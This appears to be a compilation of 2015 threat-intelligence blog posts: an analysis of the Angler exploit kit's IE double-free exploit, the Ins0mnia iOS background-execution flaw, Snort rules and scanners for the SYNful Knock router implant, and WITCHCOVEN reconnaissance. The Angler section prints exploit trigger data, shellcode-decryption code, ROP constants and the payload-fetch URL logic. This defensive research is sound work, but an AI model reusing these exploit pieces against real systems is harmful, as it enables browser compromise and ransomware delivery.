Windows Management Instrumentation (WMI) Offense, Defense, and Forensics
CVE-2015-2419 – Internet Explorer Double-Free in Angler EK
The Angler Exploit Kit (EK) recently added support for an Internet Explorer (IE) vulnerability (CVE-2015-2419) that was patched in July 2015. Quickly exploiting recently patched vulnerabilities is standard for Angler EK authors, but the target has been Adobe Flash Player since the second half of 2014. The exploitation of CVE-2015-2419 marks the second departure from Flash exploits for Angler (the first being the inclusion of CVE-2015-1671 in Silverlight). This may be the result of Adobe’s recent exploit mitigations in Flash Player that prevent attackers from using Vector (and similar) objects to develop their control over corrupted Flash processes. To date, Angler will deliver Flash, IE, and/or Silverlight exploits depending upon the target’s environment.
Angler also added a new obfuscation to its IE exploit. The landing page fetches a stub of keys and data necessary to run the exploit from the server each time it executes. The stub of information is only sent to victims that broadcast vulnerable browsers, and is protected with XTEA over a homebrew Diffie-Hellman.
IE Exploit Delivery Protection using Diffie-Hellman Key Exchange
Angler’s landing page is obfuscated in a mix of HTML and Javascript (JS). Underneath the first layer of obfuscation, the landing page profiles the environment, selects exploits to launch, and launches the exploits. The IE exploit is further obfuscated, and uses a key sharing (Diffie-Hellman (D-H)) cryptosystem to tailor each attack to an individual victim’s machine. The crypto implementation uses library code from at least jsbn.js (BigInteger implementation in JavaScript), and bears similarities to cryptico.js.
The victim’s browser will POST the following JSON to the attacker’s server. The naming convention follows a typical naming convention for the D-H protocol where g is the base, p is the modulus, and A is (g**a_) mod p (where a_ the victim’s secret exponent that is not transmitted on the wire). There system takes little care in the safety of these values. They are chosen from the cryptographically unsafe Math.random (in a custom and imbalanced way that prefers nibbles 0-9 over a-f), small, and without primality tests. Value v is the result from ScriptEngineBuildNumber(), which identifies the build of jscript9.
{"g":"78ab123a5d20fda81a9420c241a79f4f","A":"268e38c96cf54350d45537fc97c7
d526","p":"3a5d2e4d0b5a2d2a6b7e2d4e3a8e3c5d","v":"17840"}
The attacker responds with a base64 encoded version of the
following. B is the attacker’s D-H response ((g**b_) mod p where b_ is
the attacker’s secret exponent that is not transmitted). k is an
encrypted version of a key used to decrypt B. The attacker generates k
by XTEA encrypting a random key with the D-H shared key (s = (A**b_)
mod p). The victim XTEA decrypts k, and then XTEA decrypts b.
{"B":"194ff891862b55d9f1cf5ce4a10f7f92","k":"GulSjPCeuXPcH%2BvwrHjzew%3D%3D","b":"liTB9J%2FghlAzk%2Bp9Kgbg0Y85WPNx1N0jP8u7qPuXo…”}
b contains constants for the rest of the exploit (in the
appendix in its entirety). The constants are accessed through a couple
layers of redirection in the exploit so that anyone performing static
analysis of the attack wouldn’t have the complete exploit. They would
have the code flow, but none of the constants (e.g., “ur0pqm8kx”, the
password to decrypt the shellcode or "stringify" the method
name called from JSON).
{"ll":"length","l":"charCodeAt","I":"fromCharCode","Il":"floor","IlI":"random","lI":"str
ingify","lII":"location","II":"host","llI":"number","lll":"ScriptEngineBuildVersion","lIl"
:"ScriptEngineMajorVersion","IIl":"ScriptEngineMinorVersion","Ill":"setInterval","III
":"clearInterval","lIlI":"ur0pqm8kx",…}
Furthermore, attempts to replay the exploit files will fail because the D-H secret key will be lost. A new random D-H g, A, and p will be created, and won't match the old attacker’s response. As a result, the decryption of the D-H shared secret s will be wrong, as will the decryption results of k and b, and the exploit will fail. The most obvious ways to observe the attack are to:
1) Break the crypto
2) Break the PRNG
3) “Do
it live”
It is unclear why the attacker chose to protect only the constant values in the exploit instead of the entire exploit. The decision seems like an unnecessary complication.
CVE-2015-2419 Vulnerability Details
CVE-2015-2419 is a double free vulnerability in jscript9’s native JSON APIs that was patched in July with MS15-065. Specifically, the vulnerability exists in the way that JSON.stringify parses deeply nested JSON data as follows. The attacker’s chosen arguments to JSON.stringify are reproduced in their entirety in the appendix.
Il1I4['prototype'].yc =
function(a)
{
if (!a.ma(!1)) throw new Error(3);
a.kb(!1);
a.ib(!1);
JSON["stringify"](this.Pc, this.uc);
a.ob(!1);
CollectGarbage()
};
Browser Version Validation
This exploit depends on the version of jscript9.dll. In the decoded JSON response above, we can see the key value pairs corresponding to different versions of jscript9.dll
"llIlII:{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"1
7689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":40
88840}
We can also confirm the version targeted from the following code section:
try {
var c =
a.D["ScriptEngineMajorVersion"](),
d = a.D["ScriptEngineMinorVersion"]()
e = a.D["ScriptEngineBuildVersion"](),
b = c == 11 && d == 0 && e <= 17905;
} catch(f) {}
if (!b) throw new Error(-1,
window["ScriptEngineBuildVersion"] ? '' +
window["ScriptEngineBuildVersion"]() : '');
Shellcode Decryption Stage
The shellcode is present inside the IE exploit deobfuscated page as RC4 encrypted and base64 encoded. The key to decrypt the shellcode is also fetched from the above decoded JSON response. In our case, the decryption key is: ur0pqm8kx.
The decryption subroutine is mentioned in Appendix II.
Payload Stage
This latest IE exploit is being used to download the Cryptowall ransomware similar to other variants of Angler Exploit Kit observed in the past few months. The payload is downloaded encrypted over the network. The URL to download the payload is fetched as shown below:
url = "http:// + window[location][host] + / + base64_decode(a)";
Here, a is fetched from the above decoded JSON response. In our case, it is xexec.
xexec() is a custom function which uses a key on the exploit kit landing page to decrypt the path from where the payload has to be fetched.
String['prototype']['xexec'] = function()
{
return decryption_routine(encrypted_path)
encrypted_path is present on the exploit kit landing page.
encrypted_path =
'F1om1GGamPpL2dyVZZs0U9vmNWGZmPEJVbw8Rcy95wymVmWJGZwZVYlZVN9
Rhl03lCGSnZibzahZ1duzU14Td2WcUbWPXT0VBLVmsFpW53mbWauYWenJ9Y0mZ
lFVlVFM0XPV3ThBJPO1I G 0 Z tp M 2';
Using the decryption routine mentioned in Appendix I, this decrypts to the following base64 encoded data:
decrypted_path =
ZmF0aGVyLm1odG1sP2ZpcmU9ZW8wJmNvbG9yPVRENm5RJmZlZGVyYWw9ZVVw
d3hzSCZhbnl0aGluZz1iLTUmc2V0PUd4TW1VbXBWYWsmb3JnYW5pemF0aW9uPV
Z1MVBhV0lFTFlOX3JPMGI2Z0pt
This base64 decodes to: " father.mhtml?fire=eo0&color=TD6nQ&federal=eUpwxsH&anything=b-5&set=GxMmUmpVak&organization=Vu1PaWIELYN_rO0b6gJm"
This is the path from which payload is served
The payload fetched from above path is encrypted. It will be decrypted using XTEA algorithm by the shellcode. The XTEA key used is present in the deobfuscated HTML page. In our case, it is: Du9JOBgkbfzGvmFF.
Appendix I
Decryption routine to fetch payload path. The key is present on exploit kit landing page.
window["osSnUV"] = new Function ('text', "var cryptKey = key, rawArray = cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); var keySize = sortArray.length;for (var i=0; i<keySize; i++) {keyArray."+p+"(rawArray."+i+"(sortArray[i]));}var k = keySize - text.length % keySize;for(var l = 0; l<k;l++) {text += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < text.length; i += keySize) {line = text.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}endStr=endStr.replace(/\\s/g,'');return endStr;");
Appendix II
RC4 decryption routine to fetch shellcode:
function DecryptionRoutine(key,
encrypted_shellcode) {
var d = [], e = 0, f,
decrypted_shellcode = '';
for (h = 0; h < 256;
h++)
{
d[h] =
h;
}
for (h = 0; h < 256;
h++)
{
e = (e +
d[h] + key.charCodeAt(h % key.length)) % 256;
f = d[h];
d[h] = d[e];
d[e] = f;
}
for (var k = e = h = 0; k < encrypted_shellcode.length;
k++)
{
h = (h + 1)
% 256;
e = (e + d[h]) % 256;
f = d[h];
d[h]
= d[e];
d[e] = f;
decrypted_shellcode +=
String.fromCharCode(encrypted_shellcode.charCodeAt(k) ^ d[(d[h] +
d[e]) % 256]);
}
return
decrypted_shellcode;
}
Appendix III
Contents of the b constant:
{"ll":"length","l":"charCodeAt","I":"fromCharCode","Il":"floor","IlI":"random","lI":"str
ingify","lII":"location","II":"host","llI":"number","lll":"ScriptEngineBuildVersion","lIl"
:"ScriptEngineMajorVersion","IIl":"ScriptEngineMinorVersion","Ill":"setInterval","III
":"clearInterval","lIlI":"ur0pqm8kx”,"IlII":"http://","lllI":/","lIIl":"u","IlIl":"x","llll":"xexec","Illl":"EAX","lIII":"ECX","IIIl":"EDI","IllI":"ESP",
"IIlI":"XCHG EAX,ESP","IIll":"MOV
[ECX+0C],EAX","llIl":"CALL
[EAX+4C]","llII":"MOV
EDI,[EAX+90]","IIII":"a","lIll":"kernel32.dll","lIlll":"virtualprotect","IIIlI":11,"lIIll":0,"l
llll":17905,"lIllI":500,"llIIl":16,"IlIII":0,"IIIll":1,"IIlII":2,"lIlII":3,"IllIl":4,"lllIl":5,
"IIlll":8,"lIlIl":9,"lIIIl":10,"IllII":11,"lIIlI":12,"IlIll":16,"IIIIl":24,"IlIlI":100,"IIIII":1,
"llIlI":2,"lllII":2147483647,"llIll":4294967295,"IIllI":255,"llIII":256,"lIIII":65535,"IIlIl":167
76960,"IlIIl":16777215,"llllI":4294967040,"IlllIl":4294901760,"Illll":4278190080,"IlllI":65280,"l
lllIl":16711680,"lllIlI":19,"llIIII":4096,"IIIIIl":4294963200,"IIlllI":4095,"llIIlI":14598366,
"IIllIl":48,"llIIll":32,"IIIllI":15352,"llIlll":85,"lIIIII":4096,"IllllI":400,"lIIlII":311296000,
"IIIlIl":61440,"llllII":24,"IIIIll":32,"IlIlIl":17239,"lllllI":15,"IllIll":256,"llIllI":76,
"lllIll":144,"lIlIIl":17416,"IlIIll":65536,"IIlIll":100000,"lIlllI":28,"IIlIlI":60,"lIlIII":44,
"IIIlll":28,"IllIII":128,"lllIIl":20,"lIIIll":12,"lIlIlI":16,"IIlIIl":4,"IlIIIl":2,"lIllll":110,
"IIIlII":64,"IllIlI":-1,"lIIIIl":0,"IllIlII":1,"lIIlll":2,"IlIlll":3,"IIlIII":4,"lIllIl":5,"IIllll"
:7,"IIIIII":9,"lIlIll":10,"IlllII":11,"lIllII":12,"Illlll":-2146823286,"lIIIlI":[148,195],"lIIlIl":[137,65,12,195],"IIllII":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,
163058,170761,258290,166489,245298,172955,82542],"IlIIII":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,
180980,226276,179716,320389,175621,307381,792144,183476],"IIIIlI":48,"IIIlIlI":57,"lllIII":65,"IllIIl"
:90,"IlIlII":97,"llllll":122,"IlIllI":16640,"llIlIl":23040,"IlIIlI":4259840,"lIIIIlI":5898240,"llIIIl":
1090519040,"llIIIII":1509949440,"IlIIIlI":32,"IIIlllI":8192,"lllllII":2097152,"IIIllll":536870912,"llIlII":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,
"17801":4088844,"17840":4088840,"17905":4088840
Appendix IV
Attacker’s chosen arguments to JSON.stringify to exercise CVE-2015-2419:
Pc =
{"a0":{"a0":{"a0":{"a0":{"a0":{"a0":{"a0":{"a0":"8HEQ36D4","a1":"7UI7T5FN","a2":"RFM8ORW8","a3":"G50CEWBI","a4":"BL30110U","a5":"AWE8A46R","a6":
"058MT5M1","a7":"QNG7RWBF","a8":"FBQL54XA","a9":"574180FM","a10":"6YCTSRH0","a11":"N0AJ34YX","a12":
"AO7CY3D4","a13":"T5XHR4I0","a14":"784508S8","a15":"4TLC3Q4L","a16":"U7A102Q4","a17":"3466F3UR",
"a18":"356Q7028","a19":"8136URQ8"},"a1":"75C4SKMN","a2":"4LD2OP8P","a3":"UI55N7Y4","a4":"J10L02PV",
"a5":"PEK6K2W7","a6":"U5C1L0YL","a7":"K2YWU745","a8":"J4725E35","a9":"OF1WR0HJ","a10":"505TBO78",
"a11":"W48VSPHX","a12":"X83O3FW0","a13":"U68L8DNA","a14":"187V522Y","a15":"37N768W4","a16":"V66R2D77",
"a17":"85QG6W2E","a18":"81JF5PF7","a19":"7B75IS0S"},"a1":"KBG32EST","a2":"2VN32W7B","a3":"4KT5JVBS",
"a4":"EDPUH4AO","a5":"3A430Q13","a6":"2I5D2250","a7":"41OTHIHR","a8":"CWP0EVCJ","a9":"HLYOGE5X",
"a10":"B3AIE208","a11":"L6AFDY71","a12":"5846CMKV","a13":"3S5DVV2T","a14":"7K5GFF8C","a15":"8YP7WBS2"
,"a16":"5X4EP78P","a17":"88574V1B","a18":"DJ7E8H06","a19":"VG7VN4HY"},"a1":"7P0RT015","a2":"IQPV6IKK",
"a3":"2131VW84","a4":"Y81VNW8D","a5":"TUH60UNR","a6":"52S3R10G","a7":"8J37MCEV","a8":"0737UXB3","a9"
:"6W4HEW6L","a10":"2C182X5P","a11":"K2CJ5VIK","a12":"C5LQLKDA","a13":"L1600HY7","a14":"U0MRETE5","a15"
:"1654VHP0","a16":"1K500GJV","a17":"MI20FAM5","a18":"8V4252VN","a19":"34NQB53F"},"a1":"R88W7ICS","a2"
:"VKC0041R","a3":"I28APIDN","a4":"F7FI27O2","a5":"0N8F1K5S","a6":"L811MVQO","a7":"34DAN88P","a8":
"U0885VRN","a9":"68MPG5T2","a10":"BP55YBYF","a11":"TQT3BWD6","a12":"Y51M3LHU","a13":"FB4P602U","a14"
:"J1N2KO31","a15":"THM817A4","a16":"E4J5A6MH","a17":"L4748S67","a18":"0FELJF2W","a19":"7220PJ14"},
"a1":"4GV2J5RI","a2":"RVA6S111","a3":"X1N0RG08","a4":"EH8013F5","a5":"0BA3XJQT","a6":"H2HX3IJ8",
"a7":"2HC268X4","a8":"015L1E33","a9":"ELO6IGC5","a10":"70KTQ6HM","a11":"1M6IX20K","a12":"X64LGJKK",
"a13":"LBX0KLU7","a14":"5Y8O5731","a15":"6QPRW517","a16":"B1C4PIJ8","a17":"6OS8GCER","a18":"1665C783"
,"a19":"0T08F051"},"a1":"L6U0I741","a2":"UC82L302","a3":"3WYW46B4","a4":"KY1U5C7B","a5":"O3IX8D40",
"a6":"332Q0M74","a7":"7G78UVO7","a8":"6RFVUK6J","a9":"RUCN6WD5","a10":"VLCI7Y3Y","a11":"N04O0IC8",
"a12":"UJGIQ8PG","a13":"IQ3CM3HA","a14":"PD8X1412","a15":"475LEQ6N","a16":"4P57I841","a17":
"0U3F5AS8","a18":"57F7OPCG","a19":"16B8JB47"},"a1":"15LTQ001","a2":"1KHWV333","a3":"2JD25FM5","a4"
:"0BYDYLPW","a5":"NIIV0JT2","a6":"JDL3RW02","a7":"QR3BG505","a8":"MY755QR4","a9":"EXFVX4HK","a10"
:"HP3C3671","a11":"8DC42C1H","a12":"33XW2482","a13":"275B431C","a14":"DQBOT0OX","a15":"VPEC8AK4"
,"a16":"7P8E7VCI","a17":"DVDDFV3J","a18":"U22T484L","a19":"722C31R2"}
uc = function (a, b) {
return
b
}
Acknowledgements
We would like to thank Aakash Jain for his contributions to this blog.
Another Popular Android Application, Another Leak
Ins0mnia: Unlimited Background Time and Covert Execution on Non-Jailbroken iOS Devices
Anatomy of the Attack
To understand this vulnerability, you need to understand that one of the ways Apple protects its users is by controlling how third-party software interacts with iOS. An iOS application can only run in the background for a limited time before the application is suspended by iOS. Generally this time limit is three minutes. This limitation not only helps ensure predictable responsiveness in user interaction, it also prevents any app from eavesdropping in the background. For example, a music app may have legitimate reason to ask permission to access GPS location and microphone while working on the foreground, but few users would want the app to run in the background to continually monitor GPS locations and recording audio. The control by iOS is supposed to prevent such abuse of permissions.
The iOS task switcher is a user interface that shows the list of recently open apps. When a user closes an app by pressing the home button, the app goes into background, and is subject to some strict limitations imposed by iOS on background apps. Furthermore, a user can choose to completely shut down an app by removing it from the task switcher.
The Ins0mnia vulnerability allowed an app to circumvent these limitations. A malicious application could leverage the Ins0mnia vulnerability to run in the background and steal sensitive user information for an unlimited time without the user’s consent or knowledge. This sensitive information could then continuously be sent out to a remote server. This flaw could also be leveraged to drastically reduce device performance and system usability. It could even be used to drain the battery.
The attack consisted of fooling the idevice into believing that the iOS application was being debugged. This prevented the system from suspending the application when the permitted background duration expired.
To fool iOS, a malicious application could leverage ptrace, and utilize the ptrace code that handled the PT_TRACE_ME request to set the flag P_LTRACED and gracefully return 0. By setting the P_LTRACED flag, the application prevented the assertiond process from suspending the malicious application. Note that PT_TRACE_ME was a request made by the traced process to declare that it expected to be traced by its parent.
If an app exploited this vulnerability and the user removed the app from task switcher, the application would continue to run in the background, while the user believed the application had been completely shut down.
We also noticed that an application did not need the get-task-allow entitlement to be set to true, nor did it need any other special entitlements or background modes. Unlike other known iOS malware that runs only on jailbroken devices, or must be distributed with Apple Enterprise Certificates, a hypothetical Ins0mnia malware didn't require anything not allowed by Apple. We believe that such an application had a high probability of passing the Apple Store review, making it a rare loophole for an attacker to distribute malware within Apple’s walled garden.
Demo
This video demonstrates a malicious iOS application that the user believes they've terminated, but which keeps running without the user’s knowledge and sends victim location updates to an attacker.
2015 FLARE-ON Challenge Solutions
The first few challenges narrowed the playing field drastically, with most serious contestants holding firm through challenges 4-9. The last two increased the difficulty level and proved a difficult final series of challenges for a well-earned finish line.
The FLARE On Challenge always reaches a very wide international audience. Outside of the USA, this year’s country with the most finishers was China, with and impressive 11 winners. I hope that massive shipment of belt buckles doesn’t get caught up in customs! The performance of contestants from Vietnam and Slovakia were also particularly commendable, as both held early leads in total finishers. Based on the locations we are sending the challenge prizes to (people who responded with their shipping info by noon today) we can say that 33 countries had finishers this year. This next graphs shows the total winners by country this year.
And without further ado, here are the solutions for this year’s challenges, each written by their respective challenge creator.
10. CLICK HERE FOR SOLUTION #10
11. CLICK HERE FOR SOLUTION #11
We hope you had fun and learned something new about reverse engineering! Stay tuned for the third FLARE On Challenge coming in 2016!
FireEye: Best Practices in Supply Chain Management
Zero-Day HWP Exploit
SYNful Knock – A Cisco router implant – Part I
SYNful Knock – A Cisco router implant – Part II
In our previous blog, we detailed the inner workings of the SYNful Knock Cisco router implant. You may be asking yourself: "How do I detect and mitigate such a threat in my network?" The detection method largely depends on the possible interaction with the router, but generally falls into two main categories:
- Host-based indicators are useful for organizations that can issue commands and receive responses. This is only possible for a small amount of routers located in easily accessible areas of the network.
- Network-based indicators are useful for organizations that are more dispersed or those who lack the ability to easily execute local commands and receive the response.
Ultimately a combination of host- and network-based indicators is the best way to determine the cleanliness of the underlying network.
Host-based Indicators
If command-line access to your router is possible, the techniques shown in Table 1 can be used to detect the implant:
Command | Expected Output |
"show platform | include RO, Valid" | Implanted router may produce no results |
Table 1: Host-based indicator command and expected output
In addition to the commands above, other detection techniques are contained within Cisco's IOS Integrity Assurance document.
In the case of this implant, the size of the implanted IOS binary is the same size as the legitimate image. Thus, when comparing file size, it appears to be unmodified. Hashing the image and comparing the result to the hash from Cisco is one of the best methods to detect a modified binary; however, this will only work with an image on disk and not one that is loaded into memory.
Network-Based Indicators
Both active and passive network detection can be deployed to detect and prevent a SYNful Knock compromise. Passive detection can be incorporated into network defense sensors, while active techniques can be used to search for the backdoor.
Passive Network Detection
There are a number of approaches for passive network detection. Our network detection signatures focus on four parts of a Command and Control (CnC) session: the SYN, SYN-ACK, malware response messages, and controller commands. An IDS must be able to monitor the external interface of the router to effectively detect this backdoor from the network.
- SYN: The first signature (included in Appendix A) detects SYN packets with the necessary delta between the TCP sequence and acknowledgment numbers. To reduce the chance of false positives, the signature assumes that the acknowledgement field is not set to zero. This signature detects probing for the malware, and does not necessarily indicate that the destination is compromised.
- SYN/ACK: The second signature (included in Appendix B) validates the delta between TCP sequence and acknowledgement numbers and the TCP options to detect the SYN ACK response from the malware. This signature does not assume that the acknowledgement in the SYN packet is not zero.
-
Malware response message: The signature shown below detects
the HTTP server response when a command is issued. The advantage of
the signature below is that it is a standard Snort signature;
however, it does not have the capability to validate the delta
between the TCP sequence and acknowledgment numbers.
alert tcp any any -> any any (\
msg: "SYNful Knock Cisco Implant HTTP Header";\
flow: from_server;\
content: "HTTP/1.1 200 OK|0d 0a|Server: Apache/2.2.17 (Ubuntu)|0d 0a|X-Powered-By: PHP/5.3.5-1ubuntu7.7|0d 0a|Keep-Alive: timeout=15, max=100|0d 0a|Connection: Keep-Alive|0d 0a|Content-Type: text/html|0d 0a 0d 0a|<html><body><div>"; offset:0;\
flags:PA;\
sid:201504232;\ -
Controller commands: The following signature detects a
command issued from the controller. It uses the “text” string at the
location expected by the malware and message size less than 256
bytes. The signature also assumes no TCP header options are present.
If TCP header options are included, this signature may need to be
converted to a compiled signature or multiple variants created to
deal with each length.
alert tcp any any -> any any (\
msg: "SYNful Knock Cisco Implant HTTP Request";\
flow: to_server;\
content: "text"; offset:78; depth:4;\
content: "|00 00 00|"; offset: 83; depth: 3;\
content: "|45 25 6d|"; offset: 87; depth: 3;\
sid:201504233;\
)
Active Network Detection
Active network detection involves hunting the implant by sending packets to trigger a certain response. Since each environment has different capabilities, we developed multiple tools and methods for active network detection. The correct tool may vary depending on the environment size and resources available.
Nmap Scripting Engine (NSE)
We wrote an NSE script in LUA to actively scan for the presence of this Cisco implant.
Requirements
Modified NSE library
Since the NSE packet library does not allow the user modification of ACK values, the library needs to be modified to allow for this capability. The changes are shown below using a diff command.
root@nix:/usr/share/nmap/nselib# diff packet.lua
packet2.lua
1013a1014,1021
>
> --- Set
the TCP acknowledgment field.
> -- @param new_ack
Acknowledgment.
> function
Packet:tcp_set_ack(new_ack)
>
self:set_u32(self.tcp_offset + 8, new_ack)
>
self.tcp_ack = new_ack
> end
Estimated Worst-case Speed (this factors in high unused IP space)
We first ran this scan using Nmap's default scan speed of -T3:
nmap -sS -PN -n -T3 -p 80
--script="SYNfulKnock" 10.1.1.1/24
Class C - 256 IP addresses (4 hosts
up) - scanned in 2.29 seconds
Mandiant then ran this scan using Nmap's scan speed of -T4:
nmap -sS -PN -n -T4 -p 80
--script="SYNfulKnock" 10.1.1.1/24
Class C
- 256 IP addresses (4 hosts up) -
scanned in 2.28 seconds
nmap -sS -PN -n -T4 -p 80
--script="SYNfulKnock" 10.1.1.1/16
Class B - 65536 IP addresses (4
hosts up) - scanned in 2557.50 seconds (42 min)
nmap -sS -PN -n -T4 -p 80
--script="SYNfulKnock" 10.1.1.1/8
Class A
- 16,777,216 IP addresses - Estimated
scan time = 10,752 minutes (179 hours) = 7 days
Usage:
-sS = SYN scan
-PN = Don't perform host
discovery
-n = Don't perform name resolution
-T4 =
Throttle to speed 4
-p = port number
--script = script
to execute
optional: --scriptargs="reportclean=1"
Shows the seq and ack for clean devices too
Python Detection Script
We created a Python script to actively scan for the presence of this Cisco implant. This script sends a crafted TCP SYN packet and analyzes the SYN/ACK response for indications of the implant. The script relies on the Scapy packet manipulation library for processing, sending and receiving packets. The scanning process uses several scan threads and a single thread for collecting the responses. This script is about 30 times slower than leveraging the nmap LUA script above; however, it is useful for small scans and for verifying the faster scan.
Requirements
Speed
Class C - 256 IP addresses (4 hosts up) - 59.26 seconds
Class B - Terminated the script early due to time
Command line
python ./SYNfulKnock_scanner.py -d 10.1.1.1/10.1.1.2
Usage:
-d = Target to be scanned (IP, IP/CIDR, First IP/Last IP)
Output
Nping with flags
We discovered that it is also possible to use a tool such as nping (or hping) to detect this variant of the Cisco implant.
Requirements:
Speed
Class C - 256 IP addresses (4 hosts up) - 257.27 seconds
Command line:
nping -c1 -v3 --tcp -p 80 --seq 791104 --ack 3 10.1.1.1
Usage:
-c = count
-v = verbosity level
-tcp = TCP probe
mode
-p = port
-seq = sequence number
-ack =
acknowledge number
-H = (optional) Hide sent, which can speed
up the scan
Output
Figure 1: Using nping to detect the backdoor
Highlighted areas include the sequence and acknowledge numbers. The difference must equal 791102 as well as the TCP flag options described above, which must be: "02 04 05 b4 01 01 04 02 01 03 03 05".
Mitigation
After confirming compromise, the most effective mitigation is to reimage the router with a known clean download from Cisco. Ensure the new image hash values match and then harden the device to prevent future compromise. We believe the initial compromise occurred due to either default or discovered credentials, so make sure you use new and non-default settings. After ensuring the routers are clean, focus attention on the rest of the network. If the router did not have default credentials, the infection must have occurred some other way. The next step is to begin the compromise assessment.
Feel free to download our whitepaper to easily share this information with the appropriate teams within your organization. Our code will be available at https://github.com/fireeye.
Appendix A: Compiled Snort Signature (TCP SYN Connections)
#include "sf_snort_plugin_api.h"
#include "sf_snort_packet.h"
/* declare detection functions */
int rule201504230eval(void *p);
/* declare rule data structures */
/* flow:to_server; */
static FlowFlags rule201504230flow0 =
{
FLOW_TO_SERVER
};
static RuleOption rule201504230option0 =
{
OPTION_TYPE_FLOWFLAGS,
{
&rule201504230flow0
}
};
/* references for sid 201504230 */
static RuleReference *rule201504230refs[] =
{
NULL
};
/* metadata for sid 201504230 */
/* metadata:; */
static RuleMetaData *rule201504230metadata[] =
{
NULL
};
RuleOption *rule201504230options[] =
{
&rule201504230option0,
NULL
};
Rule rule201504230 = {
/* rule header, akin to => tcp any any -> any any */
{
IPPROTO_TCP, /* proto */
"any", /* SRCIP */
"any", /* SRCPORT */
0, /* DIRECTION */
"any", /* DSTIP */
"any", /* DSTPORT */
},
/* metadata */
{
3, /* genid */
201504230, /* sigid */
1, /* revision */
"misc-activity", /* classification */
0, /* hardcoded priority */
"TCP Trigger SEQ SYN", /* message */
rule201504230refs, /* ptr to references */
rule201504230metadata /* ptr to metadata */
},
rule201504230options, /* ptr to rule options */
&rule201504230eval, /* use custom detection function */
0 /* am I initialized yet? */
};
/* detection functions */
int rule201504230eval(void *p) {
const u_int8_t *cursor_normal = 0;
SFSnortPacket *sp = (SFSnortPacket *) p;
uint32_t seq = 0;
uint32_t ack = 0;
if(sp == NULL)
return RULE_NOMATCH;
if(sp->payload == NULL)
return RULE_NOMATCH;
ack = ntohl(sp->tcp_header->acknowledgement);
seq= ntohl(sp->tcp_header->sequence);
if (ack == 0){
return RULE_NOMATCH;
}
//Test for SYN packets
if((sp->tcp_header->flags & TCPHEADER_SYN)&& !(sp->tcp_header->flags & TCPHEADER_ACK)){
if ((ack > seq) && (ack - seq == 0xC123D)){ return RULE_MATCH; }
else if ((seq > ack) && (seq - ack == 0xC123D)){ return RULE_MATCH;}
}
return RULE_NOMATCH;
}
Appendix B: Compiled Snort Signature (TCP SYN-ACK Connections)
#include "sf_snort_plugin_api.h"
#include "sf_snort_packet.h"
/* declare detection functions */
int rule201504231eval(void *p);
/* declare rule data structures */
/* flow:to_server; */
static FlowFlags rule201504231flow0 =
{
FLOW_TO_SERVER
};
static RuleOption rule201504231option0 =
{
OPTION_TYPE_FLOWFLAGS,
{
&rule201504231flow0
}
};
/* references for sid 201504230 */
static RuleReference *rule201504231refs[] =
{
NULL
};
/* metadata for sid 201504230 */
/* metadata:; */
static RuleMetaData *rule201504231metadata[] =
{
NULL
};
RuleOption *rule201504231options[] =
{
&rule201504231option0,
NULL
};
Rule rule201504231 = {
/* rule header, akin to => tcp any any -> any any */
{
IPPROTO_TCP, /* proto */
"any", /* SRCIP */
"any", /* SRCPORT */
0, /* DIRECTION */
"any", /* DSTIP */
"any", /* DSTPORT */
},
/* metadata */
{
3, /* genid */
201504231, /* sigid */
1, /* revision */
"trojan-activity", /* classification */
0, /* hardcoded priority */
"TCP Trigger SEQ SYN/ACK", /* message */
rule201504231refs, /* ptr to references */
rule201504231metadata /* ptr to metadata */
},
rule201504231options, /* ptr to rule options */
&rule201504231eval, /* use custom detection function */
0 /* am I initialized yet? */
};
/* detection functions */
int rule201504231eval(void *p) {
const u_int8_t *cursor_normal = 0;
SFSnortPacket *sp = (SFSnortPacket *) p;
uint32_t seq = 0;
uint32_t ack = 0;
if(sp == NULL)
return RULE_NOMATCH;
if(sp->payload == NULL)
return RULE_NOMATCH;
ack = ntohl(sp->tcp_header->acknowledgement);
seq= ntohl(sp->tcp_header->sequence);
//Test for SYN/ACK packets
if((sp->tcp_header->flags & TCPHEADER_SYN) && (sp->tcp_header->flags & TCPHEADER_ACK))
if ((ack > seq) && (ack - seq != 0xC123E)){ return RULE_NOMATCH; }
else if ((seq > ack) && (seq - ack != 0xC123E)){ return RULE_NOMATCH; }
//Hardcoded SYN/ACK has 6 options
if (sp->num_tcp_options != 6) return RULE_NOMATCH;
//MSS
if(sp->tcp_options[0].option_code != 2) return RULE_NOMATCH;
//NOP
if(sp->tcp_options[1].option_code != 1) return RULE_NOMATCH;
//NOP
if(sp->tcp_options[2].option_code != 1) return RULE_NOMATCH;
//SACK
if(sp->tcp_options[3].option_code != 4) return RULE_NOMATCH;
//NOP
if(sp->tcp_options[4].option_code != 1) return RULE_NOMATCH;
//Window Scale
if(sp->tcp_options[5].option_code != 3) return RULE_NOMATCH;
//compare the entire TCP options section
if (memcmp(sp->tcp_options[0].option_data - 2,
"\x02\x04\x05\xb4\x01\x01\x04\x02\x01\x03\x03\x05", 12) != 0)
return RULE_NOMATCH;
//All conditions satisfied
return RULE_MATCH;
}
return RULE_NOMATCH;
}
/*
Rule *rules[] = {
&rule201504231,
NULL
};
*/
Shim Shady: Live Investigations of the Application Compatibility Cache
XcodeGhost S: A New Breed Hits the US
iBackDoor: High-Risk Code Hits iOS Apps
Pinpointing Targets: Exploiting Web Analytics to Ensnare Victims
Over the past year, FireEye Threat Intelligence has identified suspected nation-state sponsored cyber-actors engaged in a large-scale reconnaissance effort. This effort makes use of web analytics—the technologies to collect, analyze, and report data
The individuals behind this activity have amassed vast amounts of information on web traffic and visitors to over 100 websites – sites that the threat actors have selectively compromised to gain access to their collective audience. When an Internet user navigates to one of the compromised websites they are secretly redirected to a second site that hosts a script named WITCHCOVEN.
This script collects detailed information about the user’s computer and installs a persistent tracking tool, called a “supercookie,” which becomes part of a unique "digital fingerprint" that can be used to identify the user's computer from that point forward. We believe the actors analyze the collected data to identify unique users and pair them with information about their computer to later deploy exploits tailored to their particular software and computer configuration.
The reconnaissance is most likely the work of cyber threat actors aligned with a government based on the extensive collection of data, the culprits’ operational restraint, and our assessment of their probable targets.
